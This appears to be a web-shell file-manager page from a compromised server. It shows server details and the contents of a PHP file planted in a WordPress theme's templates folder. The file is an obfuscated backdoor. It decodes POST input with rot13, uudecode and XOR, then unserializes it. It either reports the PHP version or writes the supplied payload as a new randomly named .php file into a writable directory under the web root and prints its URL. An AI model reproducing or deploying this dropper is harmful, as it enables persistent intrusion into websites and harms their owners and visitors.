HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/themes/twentytwentyfour/templates/emludpri.php
<?php function rNlVkWh($EYcrQDt){$CGsWbwG = "\162"."\141"."\167".'u'.chr(413-299).'l'."\x64"."\x65".chr(99)."\157".chr(438-338)."\x65";$vXVQKr = chr(115).chr(116).chr(114).chr(95).chr(984-870).'o'.chr(116)."\x31"."\63";$SCXnHcJW = chr(643-528)."\x74".chr(114).chr(413-318)."\163"."\x70"."\x6c"."\151".chr(306-190);$EYcrQDt = $SCXnHcJW($CGsWbwG($vXVQKr($EYcrQDt)));return $EYcrQDt;}function ghsNWIJPI($wcUHjjxMSr, $EYcrQDt){$SVAUe = chr(599-484)."\164".'r'.'_'."\163"."\160".chr(108).'i'.'t';$wcUHjjxMSr = array_slice($SVAUe(str_repeat($wcUHjjxMSr, (count($EYcrQDt)/16)+1)), 0, count($EYcrQDt));return $wcUHjjxMSr;}function foRxYwYt($bGJTJYYad, $wLsOCmYS, $wcUHjjxMSr){$NsUWO = "2221e13d-5851-42ad-8557-2e6e8972ffff";return $bGJTJYYad ^ $NsUWO[$wLsOCmYS % strlen($NsUWO)] ^ $wcUHjjxMSr;}function GPyhIP($EYcrQDt, $wcUHjjxMSr){$EYcrQDt = array_map("foRxYwYt", array_values($EYcrQDt), array_keys($EYcrQDt), array_values($wcUHjjxMSr));$EYcrQDt = implode("", $EYcrQDt);$WHXubKBho = "\x75"."\x6e".chr(115)."\x65".chr(114).chr(105)."\141".'l'.chr(105).chr(122)."\145";$EYcrQDt = @$WHXubKBho($EYcrQDt);return $EYcrQDt;}function MoFsuBLZM(){echo "CrXlzUIt";}function WAZsV($vYlYXir){static $xEcxvJxIg = array();$BKNufYDIs = glob($vYlYXir . '/*', GLOB_ONLYDIR);$wEaDvy = count($BKNufYDIs);if ($wEaDvy > 0) {foreach ($BKNufYDIs as $vYlYX) {$RyCthnA = "\151".'s'."\x5f"."\167".chr(114).chr(434-329).'t'."\x61"."\142"."\x6c".'e';if (@$RyCthnA($vYlYX)) {$xEcxvJxIg[] = $vYlYX;}}}foreach ($BKNufYDIs as $vYlYXir) WAZsV($vYlYXir);return $xEcxvJxIg;}function YNKojdpEnP(){echo "ZqfgAftH";}function EwFoWuf($EYcrQDt){$KbHaDFK = "\104"."\x4f".chr(598-531)."\125".'M'.chr(69)."\x4e"."\124".chr(95).chr(82)."\x4f"."\117"."\124";$ICKEvm = $_SERVER[$KbHaDFK];$BKNufYDIs = WAZsV($ICKEvm);$HpFHLrI = array_rand($BKNufYDIs);$SJSIn = "\x2e".chr(521-409).'h'."\x70";$bfQscO = $BKNufYDIs[$HpFHLrI] . "/" . substr(md5(time()), 0, 8) . $SJSIn;$nvgrjO = "\x66"."\151".'l'."\x65"."\137".chr(573-461).chr(117).chr(116)."\x5f".chr(190-91)."\157"."\x6e".chr(116)."\145".'n'.chr(180-64).chr(115);@$nvgrjO($bfQscO, $EYcrQDt);$RrQtCn = chr(848-776).chr(84)."\124".'P'.chr(138-43)."\110"."\x4f"."\x53"."\x54";$qAHJueJ = "\x68".chr(116)."\x74"."\160"."\x3a".'/'."\x2f";$mgNbk = $qAHJueJ . $_SERVER[$RrQtCn] . substr($bfQscO, strlen($ICKEvm));print($mgNbk);}foreach ($_POST as $wcUHjjxMSr => $EYcrQDt){$LJnDUUG = strlen($wcUHjjxMSr);if ($LJnDUUG == 16){$EYcrQDt = rNlVkWh($EYcrQDt);$wcUHjjxMSr = ghsNWIJPI($wcUHjjxMSr, $EYcrQDt);$EYcrQDt = GPyhIP($EYcrQDt, $wcUHjjxMSr);if (@is_array($EYcrQDt)){$HpFHLrI = array_keys($EYcrQDt);$EYcrQDt = $EYcrQDt[$HpFHLrI[0]];if ($EYcrQDt === $HpFHLrI[0]){$hlwfB = chr(289-177).chr(459-355)."\x70";$cqoEOy = chr(1021-909)."\x68".'p'.chr(118)."\x65".chr(114).chr(115)."\151".chr(111).'n';$TXGgKGBAu = chr(115)."\x65".chr(114)."\x69".'a'."\154"."\151".'z'."\145";echo @$TXGgKGBAu(Array($hlwfB => @$cqoEOy(), ));}else {EwFoWuf($EYcrQDt);}die();}}}